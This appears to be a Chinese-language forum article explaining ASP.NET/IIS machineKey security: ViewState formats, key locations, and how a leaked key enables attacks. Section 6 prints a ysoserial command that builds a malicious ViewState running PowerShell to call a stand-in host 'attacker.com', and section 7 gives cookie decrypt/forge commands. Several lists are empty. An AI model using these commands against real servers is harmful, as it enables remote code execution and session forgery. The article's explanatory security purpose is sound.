IT评测·应用市场-qidao123.com技术社区

标题: IIS Machine Keys 安全风险详解 [打印本页]

作者: 南飓风    时间: 2025-3-26 18:35
标题: IIS Machine Keys 安全风险详解
前言

ASP.NET 应用步伐中的 machineKey 配置对安全性至关重要。它用于加密息争密 forms 身份验证 cookie 数据、ViewState 数据,以及验证进程外会话状态标识。一旦 machineKey 泄漏或配置不当,可能导致严峻的安全性题目,例如身份伪造、数据窜改甚至长途代码实行。本文将深入探讨 IIS Machine Keys 的相干知识,包括 ViewState 的格式、Machine Key 的格式和位置、如何辨认已知的 Machine Key、如何解码 ViewState,以及如何利用 Machine Key 毛病进行攻击。
1. 焦点概念解释

1.1 IIS (Internet Information Services)

IIS 是微软公司开辟的 Web 服务器,用于托管 ASP.NET 应用步伐。它负责处理客户端的 HTTP 请求,并将请求转发给相应的应用步伐进行处理。IIS 的配置直接影响着应用步伐的安全性。
1.2 ASP.NET

ASP.NET 是微软公司开辟的 Web 应用步伐框架,用于构建动态网站、Web 应用步伐和 Web 服务。ASP.NET 应用步伐依靠 IIS 进行托管和运行。
1.3 Machine Key

machineKey 是 ASP.NET 配置文件(web.config 或 machine.config)中的一个配置元素,用于指定加密和验证数据的密钥和算法。它重要用于以下几个方面:

machineKey 的配置不当大概泄漏会导致严峻的安全性题目。
1.4 ViewState

ViewState 是 ASP.NET 中一种用于在多次请求之间保持页面状态的技术。它将页面上的控件状态序列化为字符串,并存储在隐藏的表单字段(__VIEWSTATE)中。当页面回发时,ASP.NET 会将 ViewState 反序列化,从而恢复控件的状态。
ViewState 的安全性取决于 machineKey 的配置。如果 machineKey 泄漏大概 ViewState 未进行加密和 MAC 验证,攻击者可以窜改 ViewState 数据,从而导致各种安全题目。
1.5 加密算法 (Encryption Algorithms)

在 machineKey 配置中,加密算法用于对数据进行加密,防止数据被未经授权的访问。常见的加密算法包括:

1.6 验证算法 (Validation Algorithms)

在 machineKey 配置中,验证算法用于对数据进行 MAC (Message Authentication Code) 验证,防止数据被窜改。常见的验证算法包括:

2. ViewState 格式

ViewState 的格式取决于 EnableViewStateMac 和 ViewStateEncryptionMode 属性的配置。
格式EnableViewStateMacViewStateEncryptionMode阐明Base64FalseFalseViewState 数据以 Base64 编码存储,未进行 MAC 验证和加密。Base64 + MACTrueFalseViewState 数据以 Base64 编码存储,并附加了 MAC 值进行验证。Base64 + 加密False 或 TrueTrueViewState 数据颠末加密后,再以 Base64 编码存储。是否启用 MAC 验证取决于 EnableViewStateMac 属性的配置。通常来说,如果 ViewStateEncryptionMode 设置为 Always,EnableViewStateMac 也会被设置为 True,以提供更强的安全性。 在 2014 年 9 月之前,enableViewStateMac 属性的默认值为 False,这意味着 ViewState 默认情况下未进行 MAC 验证,存在安全风险。通常,未加密的 ViewState 以字符串 /wEP 开头。
3. Machine Key 格式与位置

3.1 Machine Key 格式

machineKey 配置元素的格式如下:
  1. <machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto (default) | DES | 3DES | AES | alg:algorithm_name]" compatibilityMode="Framework20SP2|Framework45" />
复制代码

以下是一个 machineKey 的示例:
  1. <machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246C11B" validation="SHA1" decryption="AES" />
复制代码
3.2 Machine Key 常见位置

machineKey 通常存储在以下位置:

常见的 machine.config 路径如下:

当 AutoGenerate 启用时,machineKey 也会存储在注册表中:

可以使用 gist 中的脚本提取注册表中的 machineKey。
3.3 安全风险

将 machineKey 存储在 web.config 中可能会导致安全风险,因为 web.config 文件可能会被未经授权的用户访问。建议将 machineKey 存储在更安全的位置,例如加密的配置文件或硬件安全模块 (HSM)。
别的,如果多个应用步伐共享同一个 machineKey,那么一个应用步伐的毛病可能会影响到其他应用步伐。因此,建议为每个应用步伐使用不同的 machineKey。
4. 辨认已知 Machine Key

可以使用以下工具辨认已知的 Machine Key:

以下是一些常用的 Machine Key 列表:

5. 解码 ViewState

可以使用以下工具解码 ViewState 数据:

6. 生成 ViewState 进行 RCE

6.1 条件条件


6.2 MAC 未启用

如果 MAC 未启用,可以直接使用 ysoserial.exe 生成恶意 ViewState,从而实现长途代码实行 (RCE)。
  1. ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"
复制代码
6.3 MAC 启用且加密禁用

6.4 MAC 启用且加密启用

默认的验证算法是 HMACSHA256,默认的解密算法是 AES。
如果缺少 __VIEWSTATEGENERATOR,但应用步伐使用 .NET Framework 4.0 或更低版本,则可以使用应用步伐的根目次(例如:--apppath="/testaspx/")。

7. 编辑 Cookies With The Machine Key

如果您拥有 machineKey,但 ViewState 已禁用,则可以使用以下方法编辑 cookies:
ASP.net Forms Authentication Cookies: https://github.com/liquidsec/aspnetCryptTools
  1. # 解密 cookie
  2. $ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
  3. # 加密 cookie (编辑 Decrypted.txt)
  4. $ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
复制代码
8. 安全建议


9. 总结

machineKey 是 ASP.NET 应用步伐安全性的关键组成部分。配置不当或泄漏 machineKey 可能会导致严峻的安全性题目。因此,开辟职员应该充分了解 machineKey 的相干知识,并接纳必要的安全措施来保护 machineKey,从而确保应用步伐的安全性。
10. 参考资料



免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 IT评测·应用市场-qidao123.com技术社区 (https://dis.qidao123.com/) Powered by Discuz! X3.4